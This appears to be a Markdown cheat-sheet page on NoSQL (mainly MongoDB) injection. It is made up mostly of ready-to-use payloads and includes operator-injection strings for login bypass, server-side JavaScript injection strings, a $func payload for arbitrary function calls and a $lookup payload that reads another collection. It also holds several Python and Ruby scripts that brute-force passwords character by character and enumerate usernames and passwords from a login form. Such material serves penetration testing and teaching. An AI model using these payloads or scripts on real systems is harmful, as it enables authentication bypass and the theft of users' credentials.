364 lines
10 KiB
Markdown
364 lines
10 KiB
Markdown
# NoSQL Injection
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## Exploit
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**PHP**
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The exploits are based in adding an Operator
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```php
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username[$ne]=1$password[$ne]=1 #<Not Equals>
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username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
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username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
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username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
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username[$ne]=admin&pass[$gt]=s #<Greater Than>
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username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
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{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
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```
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### Authentication Bypass
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Basic authentication bypass using not equal ($ne) or greater ($gt)
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```javascript
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in DATA
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username[$ne]=toto&password[$ne]=toto
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login[$regex]=a.*&pass[$ne]=lol
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login[$gt]=admin&login[$lt]=test&pass[$ne]=1
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login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
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in JSON
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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```
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### SQL - Mongo
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```html
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Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00
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```
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### Extract length information
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```javascript
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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```
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### Extract data information
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```javascript
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in URL
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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Extract data with "in"
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```javascript
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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### SQL - Mongo
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```html
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/?search=admin' && this.password%00 --> Check if the field password exists
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/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
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/?search=admin' && this.password && this.password.match(/^a.*$/)%00
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/?search=admin' && this.password && this.password.match(/^b.*$/)%00
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/?search=admin' && this.password && this.password.match(/^c.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
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```
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### SSJI
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```javascript
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';return 'a'=='a' && ''=='
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";return 'a'=='a' && ''=='
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0;return true
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```
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### PHP Arbitrary Function Execution
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Using the $func operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
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```javascript
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"user":{"$func": "var_dump"}
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```
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### Get info from different collection
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It's possible to use [$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
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```javascript
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[
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{
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"$lookup":{
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"from": "users",
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"as":"resultado","pipeline": [
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{
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"$match":{
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"password":{
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"$regex":"^.*"
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}
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}
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}
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]
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}
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}
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]
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```
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## Blind NoSQL
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```python
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import requests, string
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alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(21):
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print("[i] Looking for char number "+str(i+1))
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for char in alphabet:
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r = requests.get("http://chall.com?param=^"+flag+char)
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if ("<TRUE>" in r.text):
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flag += char
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print("[+] Flag: "+flag)
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break
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```
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = {'ids': payload}, verify = False)
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if 'OK' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### POST with JSON body
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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u="http://example.org/login"
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headers={'content-type': 'application/json'}
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
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if 'OK' in r.text or r.status_code == 302:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### POST with urlencoded body
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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u="http://example.org/login"
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headers={'content-type': 'application/x-www-form-urlencoded'}
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|','&','$']:
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payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
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r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
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if r.status_code == 302 and r.headers['Location'] == '/dashboard':
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### GET
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username='admin'
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password=''
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u='http://example.org/login'
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|', '#', '&', '$']:
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payload=f"?username={username}&password[$regex]=^{password + c}"
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r = requests.get(u + payload)
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if 'Yeah' in r.text:
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print(f"Found one more char : {password+c}")
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password += c
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```
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ruby script
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```ruby
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require 'httpx'
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username = 'admin'
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password = ''
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url = 'http://example.org/login'
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# CHARSET = (?!..?~).to_a # all ASCII printable characters
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CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
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GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
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session = HTTPX.plugin(:persistent)
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while true
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CHARSET.each do |c|
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unless GET_EXCLUDE.include?(c)
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payload = "?username=#{username}&password[$regex]=^#{password + c}"
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res = session.get(url + payload)
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if res.body.to_s.match?('Yeah')
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puts "Found one more char : #{password + c}"
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password += c
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end
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end
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end
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end
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```
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## MongoDB Payloads
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```html
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1'
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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';return 'a'=='a' && ''=='
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";return(true);var xyz='a
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0;return true
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```
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## Tools
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* https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
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* https://github.com/C4l1b4n/NoSQL-Attack-Suite
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### Brute-force login usernames and passwords from POST login
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This is a simple script that you could modify but the previous tools can also do this task.
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```python
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import requests
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import string
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url = "http://example.com"
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headers = {"Host": "exmaple.com"}
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cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
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possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
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def get_password(username):
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print("Extracting password of "+username)
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params = {"username":username, "password[$regex]":"", "login": "login"}
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password = "^"
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while True:
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for c in possible_chars:
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params["password[$regex]"] = password + c + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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password += c
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break
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if c == possible_chars[-1]:
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print("Found password "+password[1:].replace("\\", "")+" for username "+username)
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return password[1:].replace("\\", "")
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def get_usernames():
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usernames = []
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params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
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for c in possible_chars:
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username = "^" + c
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params["username[$regex]"] = username + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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print("Found username starting with "+c)
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while True:
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for c2 in possible_chars:
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params["username[$regex]"] = username + c2 + ".*"
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if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
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username += c2
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print(username)
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break
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if c2 == possible_chars[-1]:
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print("Found username: "+username[1:])
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usernames.append(username[1:])
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break
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return usernames
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for u in get_usernames():
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get_password(u)
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```
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